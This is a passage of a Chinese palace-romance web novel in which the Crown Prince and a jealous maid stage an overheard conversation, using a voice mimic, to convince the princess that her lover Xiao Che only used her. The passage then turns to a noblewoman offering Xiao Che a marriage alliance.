姬乐走到她身边,敷衍地行了个礼,冷声道:“公主恕罪,这株红梅是殿下儿时所植,意义非凡,这么多年来,一直极为爱护,还请公主不要随意攀折。” 颜嘉柔愣了一下,脸色微红:“原来是他……种的呀。”怪不得一眼望去就极为喜欢呢。 她道:“我不伤根本,只是想折一小段花枝,我不会践踏的,我会插在瓶中,浸了水好好养护,既是三哥亲手所植,他若忙时,我对着这花,便当做他陪在我身边啦。” 姬乐闻言,眸中冷意更甚:“公主若是真心爱殿下,又怎会忍心随意攀折他所植的红梅?” “我……我只是喜欢……有花堪折直须折,莫待无花空折枝,我只是喜欢这株红梅……所以才……” “它本好好傲立枝头、迎风绽放,便因公主这一句喜欢,便要被折断吗?” “便譬如人,若真心爱一个人,便是盼着他好,而不是为了一己之私,将他据为己有。” “公主的喜欢,说到底,还不是自私吗?” 颜嘉柔呆呆地看着她,她嘴巴笨,一时不知如何反驳,又觉得她话外有话,暗指她对待萧彻并不是真心,一时又是委屈又是心急,眼里氤氲着水汽,眼看便要被气哭了,身后却忽然传来一阵脚步声,下一刻,她便被揽入一个熟悉的怀抱中:“怎么了?老远便听到你们在吵闹。” 颜嘉柔不 必转头也知道是谁,顺势靠在了他怀里,委屈巴巴地告状:“萧彻,你看她,她凶我……我讨厌她!” 萧彻皱眉,目光淡漠地望向姬乐:“怎么回事?” “殿下,是公主执意要折断您的红梅,我不过劝诫了几句。那株红梅是你儿时亲手所植,向来极为爱惜,从不许人……” 话还未说完,便被萧彻出声打断:“她又不是旁人。” “一枝红梅罢了,她想折便折,你何必惹她不快。好了,下去吧。” 映雪不可置信地看着他,一张脸渐渐褪了血色,僵硬地行了个礼,转身失魂落魄地走了。 走了没两步,便听见身后传来“咔嚓”一声,是树枝的断裂声:“喏,这下开心了?” 紧接着,便响起女子的一声娇哼:“……没有很开心,只有一点点!” “除非,你再折一枝给我,唔,我要最上面,开的最艳那枝,两枝的话,刚好可以作伴,这样就不会孤单啦。好不好嘛,萧彻?” 萧彻轻笑,伸手捏了捏她软乎乎的脸颊:“自然无论皇妹说什么,都是好的。” 话音刚落,便一跃而起,脚尖一点树干,极快地折下一枝红梅,落地后递给颜嘉柔。 颜嘉柔欢呼一声,展臂扑入萧彻的怀里,黏黏糊糊地撒娇道:“哥哥最好啦!我最最喜欢萧彻!” 之后便是极尽暧//。昧的调情。 姬乐攥紧了手,惨白着脸,迅速离开了。 —— 这日萧珏照旧问苏全颜嘉柔近日的动向,苏全斟酌着道:“……一切正如殿下预料,公主仍三天两头地往含光殿旁,依旧与三殿下十分亲密……不过有一日我见宫中出来时眼眶通红,像是刚刚哭过,我原以为她是与三殿下吵架了,可打探之后,才知道是与三殿下的婢女姬乐起了冲突……” 便将打探来的前因后果说与了萧珏听:“当时还有旁的太监在场,她说姬乐的脸都气白了,整个含光殿上下谁都知道姬乐喜欢三殿下,她仗着自己与旁的下人不同,一向以半个主子自居,其余下人皆不喜她,也就三殿下念着旧日情谊,才让她留在含光殿。” “哦?”萧珏闻言缓缓眯起了眼:“这个姬乐,往后或许能为我们所用。” 话音刚落,一旁便响起鹦鹉的叫声:“姬乐!姬乐!”倒是模仿得惟妙惟肖。 苏全嘴角堆着笑,奉承道:“李将军送的这只鹦鹉,当真是个稀罕物,旁的鹦鹉只会学舌,它倒好,连人的声线都模仿得极像,方才那两声“姬乐”,不知道的,还以为是殿下您在说话呢。这手绝活,快赶得上西市云来居表演口技的那位伶人了!” 他原本不过是随意一提,岂料萧珏听后却像是想到了什么,猛地握过他的手臂道:“你说什么?西市的云来居有伶人能表演口技?声线模仿得有多像?有九成吗?” 苏全愣愣地答道:“……回殿下,确然有此事。殿下和权贵们平日里都出入东市,所以恐怕不知西市之事。云来居那位伶人,的确善口技,能模仿声线,若不看脸,几难分辨。” 萧珏闻言眼睛一亮,眸底迸射出奇异的光彩:“……好,好啊,我有法子了,你速速叫那个姬乐过来见我。” 苏全一时尚未反应过来:“这……殿下您……” “还愣着干什么,还不快去!” “……噢,是!” —— 姬乐站在殿内,低着头,双手交握,垂目看着地砖。 这是她第一次来东宫,说不紧张那是假的,只是紧张之余,更多的则是困惑:“不知太子殿下命人传唤奴婢前来,所为何事?” “姬乐是吧?”萧珏坐在圈椅上,低头浅啜了一口茶水:“在三弟那里当差,感觉如何?” “回殿下,三殿下待下人一向宽厚,奴婢自当忠心侍奉。” “哦?你对他,便只有忠心吗?便不曾春心萌动?” 姬乐脸上闪过一丝慌乱和错愕:“太子殿下,您……” “怕什么,这宫里喜欢他的女人多了去了,也不差你一个。大家彼此心照不宣,真说出口了,其实也没什么。你喜欢他,可他心里却只有嘉柔,你日日见他与旁的女子恩爱,心中该是十分难过吧?” 姬乐蹙眉,抬头望向他道:“殿下您……这是何意?” “很简单,”他将手中的杯盏扣在一旁的桌案上,抬头望向她,缓缓勾起唇角:“我可以帮你拆散他二人,只要你按照我说的做。” 第119章 第119章颜嘉柔留在他身边,始…… 姬乐闻言心中一跳,强自镇定道:“殿下这是何意?” “怎么,姬乐姑娘这是还堤防着孤?怕孤突然召见你,又说了方才这一番让你意想不到的话,恐怕是别有居心,企图设局害你的三殿下,是不是?” 被说中心事,姬乐神情顿时变得不自然:“奴婢……奴婢不敢妄自揣测……” 萧珏打量着她,只意味不明地发出一记轻笑:“无妨,我和你主子向来不睦,你有此顾虑,也属正常。” “不过孤今天叫你来,虽然事情牵扯到三弟,但并不为朝堂争斗,也不为储君争夺,孤不过是,想孤的女人,重新回到孤的身边罢了。” 姬乐一怔,目光仍是透着几分怀疑:“殿下,您……是指清河公主?” “除了她,还能有谁呢?” 萧珏说着起身绕过她往内殿走去:“也罢,孤给你看样东西,你就明白了。”片刻后端着一个红酸枝福禄百宝嵌字画盒走到她面前。 打开后,从里面取出一本画集递给她:“翻开看看。” 姬乐不明所以,但还是伸手接过了。 翻开第一页,入目竟是个粉雕玉琢的女童,五岁上下,长得冰雪可爱,宛如瓷娃娃一般。 她这般瞧着,却觉眉眼有几分眼熟。 再往后翻,依旧是女童的画像,只是随着页数往后,女童的容貌也随之发生改变——她似乎,渐渐长大了。 姬乐神色一顿,像是想到了什么,为了验证猜想,她立刻把画集翻到最后一页,赫然入目的,果然是颜嘉柔那副娇滴滴的容貌!与她昨日所见一般无二。 望着这张脸,她眸中有一闪而过的嫉恨,再重新翻看画册时,手指一掠,纸张簌簌翻飞,所有画像连起来,竟是颜嘉柔从五岁到十五岁,这十年间容貌的变化。 眼看着她从一个稚嫩的女童出落得娇美动人,亭亭玉立。 一笔一划,无不凝着执笔作画之人满腔的爱意。 姬乐眼中闪过一丝动容,她光知道萧彻对颜嘉柔爱逾性命,没想到萧珏对她的爱意也同样深重:“太子殿下……这是,您画的?” 萧珏“嗯”了一声,视线落在画像上,蓦地柔和下来:“从一开始的兄妹之情、青梅竹马之谊,到她及笄长大后,越来越按捺不下的男女之欲。孤喜欢她,已经有十年了。” “你可知道,当初是她口口声声说要嫁给孤,像个小尾巴一样,整日跟在孤的身后,起初孤只当童言无忌,并不敢当真,可架不住她一遍遍在孤的耳边说,有多喜欢孤,长大后一定嫁给孤,这样的话听多了,孤还是当了真。” “她喜欢了孤整整十年啊。” “我们是两情相悦的。” “即便在她的及笄礼上,她说的也依然是她终于长大成人了,可以嫁给孤了。既过了及笄,该是长大了,她难道还不能明了自己的心意吗?至少在那个时候,她还是全心全意喜欢孤的。” “是从什么时候开始变的呢?”萧珏喃喃地道,像是陷入了某种痛苦的回忆。 忽然他猛地抬眼,眸中一片阴翳:“便是那次骊山之行!” “一切的一切,便是从那次骊山之行开始。” “她不慎被野狐咬了一口,自那以后,便染上一种怪病,这世上唯有萧彻可解。她便不得不与萧彻纠缠在一起,也是从那个时候开始,她渐渐变了心。” “你虽非兰陵族人,但在贵妃入宫之前便已侍奉在她身侧,你跟了她这么多年,应当清楚兰陵人的手段。嘉柔年纪小,本就没什么定力,第一次男女之事,便遇上兰陵人,会把持不住,也在情理之中。” “这世上男女之事,由爱生欲,抑或是由欲生爱,不外如是。情与欲本就分不太清,嘉柔与他有了肌肤之亲,误将身体上的依恋当做真心恋慕,再正常不过,孤不怪她。” “孤如今唯一要做的,便是帮她治好这个怪病。” “只要怪病痊愈,她与萧彻再没了羁绊,她会想起我的好的,届时,自然就会重新回到孤的身边。” “孤如今已经找到了治愈那怪病的法子,只可惜嘉柔被萧彻蛊惑,沉溺于男色,竟不肯治那怪病,所以,孤需要姬乐姑娘帮忙。” 姬乐蹙眉:“我?” “是,孤想请姬乐姑 娘帮孤演一场戏,一场嘉柔看了之后,必会对萧彻死心,愿意治愈怪病的好戏。他二人从此再无羁绊,形同陌路,这应当也是姬乐姑娘乐见其成的,不是吗?” 她当然乐见其成,甚至巴不得如此,诚然,萧珏的话于她而言,十分具有诱惑力。 倘若只要答应他的条件,演一出戏,就能将颜嘉柔从萧彻身边赶走,她又怎么会不愿! 可她到底还是存了几分疑虑,踌躇道:“殿下,您……” 萧珏却好像看穿了她的心思,微笑道:“姬乐姑娘还有什么不放心的吗?孤说了,孤要你做的事,只为嘉柔,绝不涉及朝政争斗,自然也不会对你的心上人做什么。” “孤对嘉柔的感情绝不比你对萧彻的少,那本画册,还不足以说明一切吗?” “从来都是她先招惹的孤,孤等了她十年,如今怎么可能放手?” “为了她,孤愿意不惜一切代价。你也看到了,如今朝堂上的形势于孤而言并不乐观,孤这个太子之位,能坐到几时仍是未知之数,保不齐哪天一觉醒来,废黜的旨意也已经下来了。” “只怕这储君之位,孤早晚都要让渡给萧彻。” “孤如今也已认清局势了,不想再做无谓的挣扎。这储君之位,他若是想要,便拿去吧。” “可孤什么都能割舍,唯独嘉柔不可以。她只能是孤的,孤也只有她了,所以才想请姬乐姑娘帮孤这一个忙。” “孤想,姬乐姑娘自小看着三弟长大,就算不论男女之情,只说主仆之谊,以及你二人姐弟间的情分,你也是盼着他好的吧。” “三弟跟嘉柔在一起,于他有什么益处呢?嘉柔是个孤女,身后毫无倚仗,且她自幼被我们几个宠坏了,一生骄纵的臭脾气,人又天真单纯,对朝堂上的事一窍不通,有时候却又过分黏人,需要你陪着她,逗她开心。她这种性子,非但于正事上帮不了他一点,反而需要他耗费心神去哄着她,说穿了,便是只会拖他的后腿。” “三弟若能跟她断了,娶任何一个贵女,都能省不少力气吧。” “孤前几日听贞儿无意间说起说崔令颐找她帮忙,让她想办法助她与萧彻见上一面,她有话想跟他说,她对萧彻的心思,我想姬乐姑娘不会不清楚吧?” “倘若三弟能搭上崔家,他便不必这么辛苦了。” “姬乐姑娘不必这么看着孤,没错,放在从前,孤自然不会这么好心,只不过姬乐姑娘也知道,崔令颐喜欢的,从来都是下一任太子,如今萧彻风头无两,取代孤是迟早的事,她本就暗暗爱慕萧彻,苦于崔家嫡女的身份,从小便背负着使命,这才一直按捺心意。如今适逢此等良机,她又怎么会错过?更何况孤坠马重伤,她即便不选萧彻,也不会助孤成事,话说到此处,姬乐姑娘还要怀疑孤吗?” “孤说了,孤只想要嘉柔。” “萧彻的性子你我都知道,从不会勉强,只要嘉柔死心,提出想要解除羁绊,治好怪病,他不会不答应。” “于公于私,姬乐姑娘,你都应该帮孤。” 姬乐缓缓攥紧了手,眸中隐隐有异光流动。 眼前仿佛又浮现了红梅树下,萧彻搂着女子暧//。昧调情的画面,不知说了什么,惹得女子满面娇羞地躲入他的怀里。 那一抹飞上脸颊的胭脂色,竟比她手中的两枝红梅还要艳上三分。 实在刺眼极了。 他亲手所植的红梅,从前是何等的爱惜,不过因颜氏的几句撒娇,便一再攀折。 他如今对她的态度,是一种不计后果的宠溺,几乎是她要什么,他就给她什么。 她很早之前,就发现他待她的不同了。 无论是骊山围猎时,颜嘉柔的马儿发狂,他为了救她,不顾性命地策马追入密林,还是离京前际,他为了给她留下足够的解药,放了几乎身上一半的血。 再到后来,她为了萧珏背叛他,坏了他的计划不说,还害他身陷险境,可不过短短几日,他便忘了教训,颜嘉柔只需掉几滴泪,作态一番,说上几句轻飘飘的“对不起”,他便又忘记当日所受的伤痛,转头与她和好如初。 和好之后,更是照旧与她恩爱不疑、如胶似漆。 辗转难寐的夜里,她也曾翻来覆去想萧彻为何如此,甚至那日终于忍不住当面问出了口。 得到的回答却只是:“她心性单纯,当日之事,也不过是被人利用,我不怪她,她亦受到了惩罚。” 原来竟是一味地为她开脱,姬乐一时只觉可笑。 “殿下当真不怪她吗?即便原谅,居然也能做到心无芥蒂?姬乐实在不明白。” 萧彻只是淡淡地看了她一眼,声音渺若尘烟:“我的确不怪她,但确然有那么一刻,我不想再继续。其实与其说恨她,不如说是恨我自己。我纵使万般清醒,也控制不了为她心痛,因她心乱。她一再纠缠,寻死觅活,我也根本毫无办法,只能遂了她的心意。” 他垂下眼帘,低低地道:“成全她……也成全我自己。” “既已选择了原谅,那便自然要和好如初,若还心存芥蒂,那这样的原谅,于她而言,岂非是一种折磨?” “我不做这样的事。” “是我自己答应原谅的她,路既是我自己选的,自然不关她的事。往后无论发生什么,也都与人无尤。” 姬乐闻言只是怔怔地立在原地,良久之后才终于反应过来—— 他喜欢她,而且无药可救、飞蛾扑火一般地喜欢着她。 这个认知让她后背一阵毛骨悚然。 他今日可以为她攀折梅枝,为她驾驭疯马,取半身血,这般不计后果,毫无底线,那么明日呢? 他又会为她做到什么地步? 颜嘉柔留在他身边,始终是个祸害。 她不但会误了他的大业,更是会害了他。 萧珏说得对,事到如今,于公于私,她都不能坐视不理了。 他既有法子让颜嘉柔离开萧彻,何妨一试呢? 若说她之前对他还有防备之心,可在看了他的那本画册之后,已经去了大半。 ——萧珏对颜嘉柔,果真是用情至深,那一笔一画,皆蘸满了爱意,这点是骗不了人的。 那剩下的一半在听他说他坠马之后,崔令颐已经完全弃了他之后,也已经消散了。 是啊,他如今这个境况,于储君之位已经毫无胜算,他该是已经彻底放弃,不作他想了。 想到这里,她抬眼看向萧珏,目光定定地道:“太子殿下,倘若殿下真有法子能令二人离心,奴婢愿配合殿下演上一出戏。” 萧珏闻言缓缓勾唇:“好。” 第120章 第120章萧彻怎么能这么对她?…… 承欢殿内,颜嘉柔正趴在桌案上侍弄前几日攀折的那两枝红梅,映雪端着一盘雪酪酥走了进来,一边将那盘雪酪酥搁置在桌案上,一边道:“主子,奴婢方才见到姬乐了,她托奴婢带句话给您。” 颜嘉柔拈起一 块雪酪酥放进嘴里,咀嚼了两下,雪酪酥入口即化,香甜软糯,好吃极了,她没忍住又吃了一块,但萧彻不许她吃太多甜食,她为了他如今已经收敛了许多,犹犹豫豫地在吃完第三块后,终于还是忍痛不再继续往盘子里拿了。 也是这个时候,才想起问映雪道:“唔……姬乐?她能有什么话跟我说?” 映雪道:“说是前几日不小心冲撞了您,想要当面跟您赔礼道歉呢,约您明日申时在避仙亭会面。” “避仙亭?是琼华岛西侧那片紫竹林里的‘避仙亭’?早年父皇最爱与贵妃在此处赏花,宫人不敢靠近,私下称作‘避仙亭’,如今贵妃虽已不在,但那里依旧少有人至,十分僻静。” “她要道歉怎么不亲自来承欢殿,反而让我去那种地方,我才不去呢。” 萧彻叫她小兔也不是没有道理,她胆子比兔子还小,去宫中那种幽僻之所难免有些害怕,她无事才不会去呢,唔,除非是萧彻邀她。 说着不知想到了什么,面上泛起薄红。 她嘟囔道:“嗯……你跟她说,她有什么事,便来承欢殿找我,我不去避仙亭的。” 映雪道:“奴婢也是这样跟她说的,但她说她为公主准备了一份大礼,非去避仙亭不可观之,还说倘若公主不去,那就是不肯原谅她。” “因着与公主不和,她已遭殿下厌弃,倘若公主再不肯原谅她,她迟早会被赶出含光殿的。她自小跟在贵妃身边,早就将贵妃母子视作唯一的主子,贵妃已经仙逝,倘若三殿下也不要她了,那她便不活了。” 颜嘉柔闻言不禁蹙眉道:“怎么说得这般严重?萧彻待她像是半个家人,自是与别的侍婢不同,怎么会不要她呢,难道是我经常跟他告状,说她的坏话……” 说着立刻掩住了唇,难免有几分心虚:“映雪……我是不是太坏了……” “怎会?主子最是心善,是她老是莫名针对你,以下犯上,若是遇上苛待下人的主子,打死也是有的。” “那也太严重了吧……其实说穿了,也不过是些小事,我并不曾放在心上。都是女子么,当不用像对待男子那般计较。我也不想她因我的缘故真出了什么事……” 颜嘉柔以手托腮,支撑在桌案上,另一只手拨弄着琉璃瓶里斜插着的红梅:“我好像知道她为什么要约我在避仙亭见面了,贵妃死后,听说只有她被允许时常出入避仙亭侍弄贵妃生前喜爱的花草,期间还种植了一些新品,她邀我过去那里,莫不是见我喜爱红梅,便想赠我一场绚丽花景来作为赔礼?” 映雪点了点头道:“是了,我正想跟主子您说呢,她找我传话的时候特地说了,如今正值冬日,宫中许多地方的花草都已经开败了,但避仙亭四周有玉澜池环绕,里面的花卉被温泉水浸养着,常年花开不败,公主若喜欢花,万不可错过此等盛景。” 颜嘉柔眼睛一亮:“果然被我猜中了!既是如此,我看她也是诚心赔礼道歉,我若不去,倒有些小心眼了,还是去一趟吧!” 颜嘉柔本想带映雪一起去,可次日映雪不知为何脸上起了红疹,她不惯带旁人出门,便一人独自赴约了。 申时天光大亮,去避仙亭倒也没什么。虽则偏僻,可那里还有姬乐在等她,也不算只她一人。 —— 入了琼华岛后,往前继续走,很快便到了紫竹林,竹叶细密蔽日,风过时沙沙作响,衬得周遭更为静谧。 竹林的尽头,便是避仙亭。 她正要出林,脚下却忽然踩到了一根枯枝,发出咔嚓一声的动静。 几乎与此同时,从避仙亭中传出一道人声。 周遭静谧,人声便显得更为突兀,清晰入耳—— “你亲手为我所植的红梅,为何要攀折给那贱人?” 是姬乐的声音,她果然早就在避仙亭等候她了! 这般守时,倒确实有几分诚心。 颜嘉柔心中已经原谅了她大半,正要现身与她打招呼,却后知后觉察出几分不对:她说“你亲手为我所植的红梅,为何要攀折给那贱人?”,攀折红梅?怎么这般耳熟?莫不是在说她?可她不是来同她道歉言和的吗,为什么要骂她? 而且如果她真的是在骂她,那与她对话之人…… 她猛地抬起了头。 目光所及,却只见到姬乐,站在她对面之人隐在亭柱后,她只能窥见他的一角锦袍,是雨过天青色,隐隐有几分眼熟。 不知为何,忽然心慌得厉害,她迫切想要去求证什么,刚要上前,姬乐对面之人却忽然开了口:“不过是怕她跟我闹,听着烦罢了。一个傻子而已,你与她计较什么。” 嗓音如幽泉过涧,玉石相击,极为清冽动听。 语调是一贯的漫不经心。 那是……萧彻的声音! 颜嘉柔瞪大了眼睛,死死地捂住了嘴。 萧彻竟在醉仙亭这等僻静之所与姬乐幽会! 两人是什么关系?而且提及她时,他说她“不过是一个傻子”,语气全不似平时的玩笑,而是一种显见的鄙夷与不屑。 嘉柔咬紧了唇瓣,心底涌上万分的难过。 她一直以为她虽然不聪明,但萧彻并不介意,还是很喜欢她。 可原来……他……他竟这般看不起她么…… 那他从前对她说的那些话又算什么?他说他只喜欢她一个,他会永远喜欢她……既然如此,他为何会出现在这里,和姬乐一起?! 她有心想立刻上前问个清楚,但又自虐一般,忍不住想继续往下听,正踌躇间,见姬乐颇为幽怨地道:“是么,可我总觉得,你对她实在过分宠爱了一些,只是做戏而已,用得着这样么?也不怕我怕吃醋。” “不如此,怎么将她从萧珏身边骗过来呢?” “都说了不过一个傻子而已,你吃她的什么醋,姬乐姐姐从小照顾我长大,我和你的情分,又岂是她可以比拟的?” 姬乐脸上这才浮上笑意,转而却又嗔道:“那你何时才能够与她断了,每日见你与她卿卿我我,我真是一刻都等不了了。” “快了,等我登上储君之位,她再无用处之后,我自然会把她一脚踢开。” “真的么?虽则她蠢笨不堪,但确实貌美娇憨,你真舍得?” “再如何不舍得,也不及姬乐姐姐来得重要啊。” “何况她于我而言,不过是一件工具,一件用来报复萧珏、让他痛苦颓废的工具而已,我对她毫无真心,有的只是利用。” “真的?” “自然是真的。你忘了我当初接近她的目的了么?我知道萧珏喜欢她,将她视作此生最重要的人,若将她从他身边夺走,他势必颓废懊丧,失去斗志,抑或是狗急跳墙,做出什么不智之举,而无论是哪一种,都与我夺嫡争储,有着莫大裨益。” “再者颜嘉柔此人,从小与我不对付,明明我和萧珏都是她的兄长,可她却只对他有好脸色,每年我的生辰,她不是忘了便是敷衍至极,随便拿个物件就当做生辰贺礼,待我还不如宫中的下人。我便是恨她恼她,与她积怨已久,一直想找个机会狠狠报复她。” “老天有眼,居然安排了一只灵狐帮我,让她身染怪病,非我的精血不能缓解身上的躁动,这就给了我一个接近她的契机,后来我才发现她原来吃软吃硬,只要稍稍说几句甜言蜜语,编几个海誓山盟的诺言,她便信以为真,欢喜得不得了。” “兰陵人于男女情事上向来极具天赋,最擅调情勾引,她一个未经人事的小姑娘,如何把持得住?尤其是经历情事之后,食髓知味,自然愈发离不开我,对我一日比一日更为迷恋。前不久我故意说不要她,她还死乞白赖地来求我,玩些寻死觅活的把戏,为了和我在一起,连女儿家的脸面都不要了——你说,她得有多喜欢我啊。” “呵,她越是如此,我心中越是觉得快意。” “不是最讨厌我,最看不上我吗?后来还不是乖乖地在床上给我草,我让她做什么她便做什么,乖得不得了,这般前后反差,实在解气。” “如今我报复她的目的已经达到,她的身子我也玩腻了,只差萧珏被废黜,等我坐上储君之位后,她再没了利用价值,届时我自然将她一脚踢开,眼下你还是多忍耐一些吧,往后我们有的是机会亲近,又何必拘泥于一时呢。” “那好吧,小彻,我总是信你的。”姬乐说着伏靠在对面之人的怀里,与他道:“只是那日攀折红梅之事 实在让我生气,那红梅可是我们的定情之树,竟然让那贱蹄子攀折了……原本你我该依偎在一起共赏红梅才是,如今我却是看到那株红梅便生气,便罚你同我共赏这避仙亭的奇珍异卉吧。虽是冬日,这里的景色却更胜春光呢。” “好,”男人环上她的身子,柔声道:“自然都听姬乐姐姐的。” 好一副郎情妾意的恩爱画面。 颜嘉柔望着不远处的两人,只觉心脏牵扯般的疼,像是要被狠狠拽出胸腔,又像是刺入了一柄带刺的匕首,来回绞弄,直至血肉模糊,痛不欲生。 好疼啊,真的好疼,怎么会这么疼呢? 她从没有过这种感受,她无措而彷徨,呆呆地立在原地。 在还未完全参透情爱之事的年纪,便被上了这样血淋淋的一课。 实在残忍。 视线渐渐变得模糊,一抬手,才发现不知不觉间泪水已经淌了满脸。 眼前仿佛又浮现了萧彻的那一张脸,依旧俊美蛊人,诉说着动听的情话。 然而她被泪水模糊了双眼,已经渐渐看不清他了。 是啊,她好像,从未看清过他…… “萧彻,”她轻声地道:“你为什么……要这样对我?要说这样的话……” “你知不知道你这样说,我听了,会很难过?” 可没有人能够回答她,他正怀抱着姬乐,柔声地安慰着她,就像他从前待她的那样。 他抱了别的女人……好脏…… 许是难过到了极点,又或许是这个认知带给了她莫大的刺激,她竟隐隐作呕。 原来一切都是假的。 萧彻对她的喜欢,是一场彻头彻尾的骗局。 满嘴谎话,没有一句是真,全都是骗人的! 他只不过是在利用她,报复她,将她当做一件工具,一样玩物,可笑在今天之前,她还一直以为他有多喜欢她。 指甲深深地陷入手心,她竟也丝毫不觉得疼。 整个人像失了魂一般。 不知过了多久,忽然她像是反应过来,死死地盯着前方。 心痛难过到了极点之后,便是疯狂反扑的愤怒与不甘。 凭什么,他凭什么这么对她?! 她要当面问个清楚!他欠她的,她倒是要问问他怎么还! 可正要上前,身后却忽然伸过来一只手,将她一把拽住。 120-128 第121章 第121章“三殿下,臣女一直在…… 颜嘉柔一怔,下意识地便想要回头,来人却一把揽上她的腰肢,另一只手紧紧捂住了她的口唇,将人一路往后拽。 男人的力气很大,她挣扎了几下,根本徒劳无功,只能被他拖行着往后退。 风过竹林沙沙作响,正好掩去了他们的动静。 她透过竹叶的缝隙远远地看到姬乐踮起脚尖,伸手圈过对面之人的脖颈,似乎……是在亲吻他! 她死死地盯着这一幕,突然剧烈地挣扎起来,奈何身子被人禁锢,始终无法挣脱。 只能眼睁睁地看着两人亲吻缠绵。 一滴泪自她眼角划落,她仿佛瞬间被抽干了力气,眼神空洞无光,连挣扎都已经放弃。 整个人像是再无生机,只余一具死气沉沉的躯壳。 这般宛如行尸走肉地任由身后之人一路拖行,直到出了竹林,被他扳过身子,摇晃着肩膀一声声地叫着“嘉柔”,她茫然地抬起头,才发现眼前之人竟是萧珏。 萧珏皱眉望着眼前失魂落魄的颜嘉柔,眼中涌上万般疼惜:“嘉柔……你……” 颜嘉柔怔怔地看着他,唇瓣轻轻翕动:“太子哥哥……” 她慢慢地睁大眼睛,似乎才清醒过来,方才所见的一幕幕又浮现在眼前,她被迫一遍遍地回想起萧彻和别的女人姿态亲昵地拥吻,噬心一般的痛苦与被背叛的愤怒席卷了全身,继而慢慢渗出一丝绝望……她发泄一般地猛推了他一把:“你为什么要拦我!你知道我看到了什么吗?萧彻……萧彻他竟然和姬乐……” “我知道,”萧珏深看了她一眼,意味不明地道:“我也看到了。” “那你为什么要拦着我?他们敢背着我做这种事,难道还怕被我亲自撞破吗?!我倒是要亲口问他,他骗了我这么久,欠我的,该怎么还?” “你便是亲口问了又如何,嘉柔,你该知道,这根本改变不了分毫,难道你方才冲出去撞破二人的奸//。情,一番质问之下,萧彻就会回心转意吗?” “不会的,你只会与他彻底撕破脸而已,而在怪病未被治愈之前,你现在便与他撕破脸,实在讨不到半分好处。” 泪水淌了满脸,她瘦削的肩膀轻轻颤动,像是秋日里随风飘零的落叶。声音带着破碎的哭腔,浸染了浓重的绝望:“那我该怎么办,太子哥哥,我该怎么办……我到底该怎么做,才能和他回到从前……” 到底是爱恨相依,这般说着,便又怨恨起来:“他怎么能这么对我?我这么喜欢他,他怎么能这么对我!他说过会永远喜欢我,他说他不会骗我,说过的话,怎么能不算数……” “他骗我……他骗我!他根本就是个彻头彻尾的骗子!我不会原谅他的,我这一辈子,都不会原谅他的!” 萧珏目光深寂地审视着她,眸底戾气渐渐上浮。 她的心思,他怎么会看不穿?说是不原谅,其实根本是放不下。 “嘉柔,”他重重地换了一口气:“都到这个时候了,难道你还放不下他吗?” 他握住她的肩膀,力道收紧,咬牙道:“你清醒一点,他从头到尾都不喜欢你,你方才也听到了,他不过是将你当做利用的工具,折辱的对象,却独独不是倾心相待的妻子,只有我,嘉柔,这么多年来,只有我对你始终如一。” “那个姬乐,早年在家破人亡时被江沉鱼救下好心收留在身边,这么多年,几乎是看着萧彻长大的,谁知道他们什么时候便勾搭在一起了。” “说起来,我那三弟的敦伦之礼,或许还是她启蒙的呢。虽则我朝男子也点朱砂,来以此分辨是否已经人事,可这东西,里头的门道多得很,要想作假也并不难。嘉柔,你这段时间与他整日厮混在一处,如何,他让你这般念念不忘,你难道就没有怀疑过,他若真是处子之身,怎么于男女之事那般精通?虽则兰陵人的确天赋异禀,但也并非生来便什么都会,这风月场上的功夫,可都是要在女人身上练出来的。” “他传闻不近女色,从前身边并无侍婢伺候,可贵妃在世时,他可是三天两头往披香殿跑的,一待就是大半天,而贵妃前脚刚刚薨逝,他后脚便将姬乐接了过来,用意何为,难道你如今还看不出来吗?” “说是不近女色,想来不过是不想亲近魏人,怕那些魏人宫女是我母后派来的耳目,所以才一概不碰,转头找姬乐纾//。解,否则以兰陵人重//。欲的天性,他怎么可能真做到如传言一般?嘉柔,你是信他与姬乐早已暗地里苟//。合多年,还是信他一直暗恋你,一边整日与你斗嘴作对,一边喜欢你喜欢到不惜违背自己的天性,也要为你守身如玉?” “这样的话,你自己信吗?” “倘若他真的这么喜欢你,大约能为你去死吧?又怎么会转头与姬乐在避仙亭幽会?” “若论先来后到,嘉柔,其实你才是那个后来者,你要问什么呢?听说那个姬乐一直对你颇有敌意,你从前不知缘由,如今还不明白吗?莫要自欺欺人下去了。” 颜嘉柔闻言,脸色又是一阵惨白。 是啊,她想,她还要问什么呢? 萧珏看了她一眼,忽然握上她的手腕:“你若是还不死心,那我就让你再看上一场好戏,算算时间,也差不多了。” 说着牵着她转身往前走,颜嘉柔此时神情呆滞,犹如行尸走肉一般,呆呆地任由他牵着走了。 —— 太液池浸在冬日的寒烟里,有风拂过,水面荡起细碎的波纹。 萧彻刚踏过玉崠桥,远远便看到前方倚在白玉栏杆旁的身影。 女子裹了一身银狐裘,狐裘被风掀起一角,露出里面一件淡蓝织金襦裙,颈间围着一圈白狐毛,簇着白皙精致的下颌,衬得脖颈修长,气质清冷疏离。 她今日梳了一个鬟髻,环心插着一支金累丝嵌红宝石点翠步摇,垂珠缀玉,在日光下泛着细碎光芒。 萧彻淡淡地一挑眉。 许是有一段时间不曾见到萧贞儿了,今日这般远远看着,萧彻总觉得她与平日不同。 不过当下他并未察觉出不对,负手慢慢走了上去,唇边噙着一丝笑意:“贞儿,约我在此,究竟有什么要紧事?” 话音刚落,女子便转过身来。 极美的一张脸,雪肤樱唇,艳而不俗,像是枝头高悬的一轮冷月,冷浸浸地流淌着清辉,美丽而冷清,不容亵渎,亦无心无情。 她出生于顶级门阀,是崔氏嫡系唯一的嫡女,生而高贵,通身的气质仿佛刻在骨 子里。 美得锋利,美得矜傲。 是崔令颐。 萧彻唇边的笑意凝滞,慢慢收敛了神色,只似笑非笑道:“原是崔大小姐,巧了。” “不巧,”崔令颐深看了他一眼,颇有深意地道:“三殿下,臣女一直在等你。” 第122章 第122章“崔令颐,你究竟想做…… 萧彻微微皱眉:“你……是你让贞儿约我来此?” “不错,殿下对我始终避而不见,不如此,我也见不到殿下。” “呵,贞儿真是出息了,竟帮着外人来骗自己的哥哥,我算是白疼她了。” “你不要怪她,她也是想帮你。” “帮我?”萧彻嗤笑了声,上前一步,微微俯身审视着她:“我说崔大小姐,你我之间,似乎没有什么可说的吧。” 崔令颐眼睫几不可察地颤动了一下:“我知道你想要储君之位,跟我合作,我可以帮你。” “哦?”萧彻掀起眼皮,饶有兴味地道:“崔大小姐要如何帮我?” “你娶了我,崔氏自然会助你更快、更稳地坐上那个位子。” 萧彻挑眉:“你父亲让你来的?” 